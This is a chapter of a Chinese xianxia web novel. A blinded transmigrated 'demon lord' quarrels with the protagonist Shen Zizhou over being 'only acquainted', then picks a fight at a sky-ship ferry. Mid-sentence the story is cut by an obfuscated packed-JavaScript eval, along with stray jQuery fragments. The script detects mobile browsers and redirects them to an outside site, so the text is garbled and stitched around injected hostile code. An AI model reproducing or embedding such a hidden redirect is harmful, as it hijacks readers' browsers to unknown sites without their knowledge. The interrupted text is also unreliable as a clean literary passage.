真的就是顺手的事。


    为了完成任务,江泠得罪了很多人也招惹了很多人,做得坏事数不胜数,也不记得招惹了多少风流债。


    反正他完成任务以后可以换个身体重新做人,做事不免就肆无忌惮了些。谁能想到系统会跑路,到头来这些烂摊子都得他自己收拾。


    哎。


    被做局了。


    不过江泠对这位天衍圣子真的没什么印象,他的全部心思都扑在沈自舟的身上,哪里会在意其他人?


    仔细回想,应该是跟在他屁股后面咋咋呼呼的一个……小孩?


    江泠随口道:“只是认识。”


    没想到沈自舟格外在意,重复道:“只是认识?”


    从其他人口中可以听出,天衍圣地的圣子为江泠闹得要死要活,不惜忤逆师长,连圣子之位都不要了。


    能做出这般举动,关系肯定非同一般,可落在江泠口中化作了轻飘飘的两个字——认识。


    只是认识。


    简单两个字在舌尖无声滚过,连点波澜都没惊起,好像只是一个无关紧要之人。


    是否,有人问江泠你与沈自舟的关系如何时,他也这么同样轻描淡写地说上一句:“只是认识。”


    不过尔尔。


    再追问下去,或许也会多说一句:“一个朋友而已。也不是很熟。”


    这是江泠能说出的话。


    好似那些刻骨铭心、浓墨重彩的过去,都沦落成一个笑话。


    有时沈自舟觉得他并非此间人,而是一缕云雾。乘风而来、乘风而去,看似游戏世间嬉笑怒骂,实则一直游离在世外,任谁都不能让他停留片刻。


    他偏要将云雾攥于手中。


    沈自舟克制着说:“你认识的人真多。”


    江泠睁着无神的眼睛,茫然。


    这又是哪里招惹到沈自舟了?


    有必要这么阴阳怪气吗?


    他觉得沈自舟越来越不对劲了。


    在原著里,男主只是手段狠辣睚眦必报。从未出现过这般反复无常,难以捉摸的样子。实在令人头疼。


    江泠想了想,慢吞吞地说:“如果你想,也可以不认识。”


    回应他的是一声短促的笑,从胸腔挤出,低沉喑哑。


    “你当真没有心。”


    轻易就撇得一干二净。仿佛是世间没有谁是他值得上心的。


    江泠:“……?”


    这都什么跟什么啊。


    说认识,你不高兴。


    说可以不认识,又不高兴了。


    这么难伺候的吗?到底怎么样才行。


    “你要怎样?”


    沈自舟不欲解释,生硬地转移了话题:“走罢。”


    说着不在意,却好像有一根刺扎在心口,不痛不痒,但让人难以忽视其存在。时间一久,刺发脓溃烂,格外在意。


    江泠还没适应瞎了的身体,在闹市中寸步难行,生怕沈自舟一气之下将他扔下,双手在半空中一挥,踉跄跟上。


    衣袖处传来一股拽力。


    沈自舟脚步一顿,敛眸低垂。


    江泠牵着他衣袖,一截瘦骨嶙峋的腕结搭在上面,看起来格外的……乖巧。


    比以前顺眼。


    现在的江泠瞎了废了。


    不仅如此,还身负着六大圣地的通缉,是人人得而诛之的魔头。


    除了他的身边,天地之大,再无处可容身。


    江泠离不开他。


    意识到这点后,沈自舟生出一股隐秘的、莫名的满足。


    他真的是疯了。


    他应该恨江泠,而不是生出这些奇怪的念头。


    ……


    穿过闹市街头,来到了灵舟津。


    灵舟津,乃是一处渡口,乘坐的不是水上舟、陆上马,而是纵横云端,天工机巧的灵舟。


    灵舟长百丈,底部刻画着无数精妙的机关阵法,机括一动,龙骨风翼扇动,借云随风而起。


    江泠仰头。


    眼前依旧是一片灰蒙蒙,就算看不见,也依旧能想象出是如何宏伟的画面。


    沈自舟上前一步:“两张船票,去长春仙谷。”


    修真界分为东西南北中五洲,每一洲都占地幅员辽阔,山川秀美,凡人终其一生都难以跨越一周之距。就算是修士,御剑飞行也终有力竭之时。


    还好墨家有机关术,借照木牛流马之术,以灵舟代步。腾云驾雾,日行万里,只需数日就能横跨一洲。


    江泠在心中默默估算。


    十万大山在中洲西部,去长春仙谷要跨越整个中部,必定会在中洲城停靠。


    中洲城人多眼杂,若是趁机从沈自舟身旁脱身,岂不是天高任鸟飞?


    想想……得在想想。


    一时想得太过入神,没注意身后传来一阵急促的脚步声。


    来不及避让,被后方来人撞了一下肩膀。


    江泠重伤未愈,身体孱弱,踉跄了一下,险些摔倒。


    刚站稳,就听见恶人先告状:“你长没长眼睛?”


    劈头盖脸一顿骂。


    江泠:“……”


    还是第一次遇到比他还嚣张的人。


    扶了扶即将滑落的面具,打算先讲讲道理。


    毕竟他的身份见不得光,还是忍一时少一事。


    还没来得及说话,对方仗着人高马大五大三粗,粗着嗓子说:“没听说过好狗不挡道吗?还不让开!”


    一边说,一边伸手推搡。


    他们人多势众,又见江泠孤身一人柔弱得风一吹就倒了,不免肆无忌惮,开始动手动脚。


    不料江泠脚尖一动,身法诡谲,侧身躲开了伸来的手。嚷嚷着动手的毫不设防,一个趔趄,引来一阵哄堂大笑。


    “老二,你是不是没吃饱饭?”


    “我看是怡红院里太过销魂,睡得他肾虚腿软了。”


    “哈哈——”


    动手的人是一个黑脸壮汉,听见嘲笑声,脸涨得又黑又红。


    壮汉不敢找别人麻烦,全部都算在了江泠的身上:“我问你话,你到底长没长眼睛?”


    江泠不怒反笑。


    在沈自舟面前他不得不低头,你们——又是个什么东西?


    他也从来不是个好性子。


    忍一时越想越气。


    “哪里来得野狗狂吠?”江泠侧过头,“叫得我头疼。”


    壮汉同样暴躁,一点也经不起激,说不说不过,当即就要动手。蒲扇般的大手抬起,猛地就要扇来。


    巴掌挥得虎虎生风。


    而在壮汉面前,江泠显得如此瘦弱,怕是擦一下就要散架。


    力量悬殊,胜负已定。


    江泠卷了卷舌尖,笑了。不闪不避,迎着掌风,就睁着一双


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16011441|178405||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    无神的眼睛“望”着。


    额发被吹开。


    面具下,眼瞳漆黑无光,如同一潭池水,幽深骇人。


    壮汉莫名一寒,竟生出了些许退意。


    邪门,太邪门了。


    边上有人不明所以,见停下了动作,开始起哄:“老二,你怕什么?胆子这么小,快回你娘怀里吃奶去吧!”


    壮汉嗫嗫说不出话,一咬牙,大掌继续拍去。想要在兄弟面前扬威。


    不过买张票的功夫,也能扯出麻烦事来。


    沈自舟取来两张船票,一转头,就瞧见不远处的热闹。


    看热闹不嫌事大,四周的人是围了一圈又一圈,他依然一眼就看见了江泠。


    江泠被几个壮汉簇拥围剿,被逼迫至了角落,瞧着分外可怜。


    沈自舟束手而立,冷冷观望。


    他在等江泠向他求助。


    只需一声,就能将他从危险中解救出来。


    等了片刻,只见江泠在几个人中左右难支,也不见他出声求救。


    眉心慢慢拧起。


    是不想,还是不愿?


    倒要看看,能逞强到什么时候。


    江泠还在逗壮汉玩。


    壮汉看起来壮硕似铁塔,但一点脑子都没有。他是瞎了不错,但耳朵更加敏锐,听声辨位以步伐避开,甚至还有余力使绊子,让壮汉吃了个狗吃屎。


    “就这?”


    简简单单两个字,足以让人失去理智。


    壮汉一声怒吼,怒拔气兮,如同野牛一般冲来。他的同伴不动声色,堵住了去路。


    江泠:“……”


    好像有些玩脱了。


    这里地方狭窄,再精妙的身法也施展不开,眼看着就要被撞到。就在这时,说着要袖手旁观的沈自舟终于忍不住出手。


    壮汉的冲势迅猛如虎,却被硬生生制住,旋即一股巨力袭来,将他掀翻出去,摔在地上倒退十几米方才停止。


    都未现身就能有这般动静,看得众人皆是禁声胆寒。


    同伴左右看着,慌张道:“是谁!出来!”


    沈自舟缓步走出,看都没看他们一眼。


    光是威压气势,就与常人不同,轻描淡写一句:“滚,或者死。”


    嗓音轻淡,分明是没有将生死放在眼中,让人胆颤心惊。


    众人不敢停留,如鸟群散去,就连躺在地上的壮汉也挣扎着爬起,再也没有方才嚣张的气焰,撒丫子跑了。


    不过瞬息,灵舟津口处就只剩下沈自舟与江泠二人。


    江泠摸了摸鼻尖。


    惹麻烦了。


    看来要被兴师问罪了。


    眼前一片阴影落下。


    沈自舟踱步向前:“出息了。”居高临下地俯视,“连不立危墙之下的道理都忘了。”


    大名鼎鼎的魔尊,连个路边的壮汉都打不过。


    饶是如此,就算是强撑逞强也不向他求救。


    到底有什么好坚持的。


    江泠指尖一动,一枚磨得锋利的银簪重新没入发间,小声嘀咕:“多管闲事。”


    就算沈自舟不出手,他也有自保的能力。


    “也是。”沈自舟淡淡道,“毕竟我们只是认识。”


    最后两个字咬得极重,像是要碾碎在唇齿间。


    品出了一点恨极了的意味。


    江泠:“?”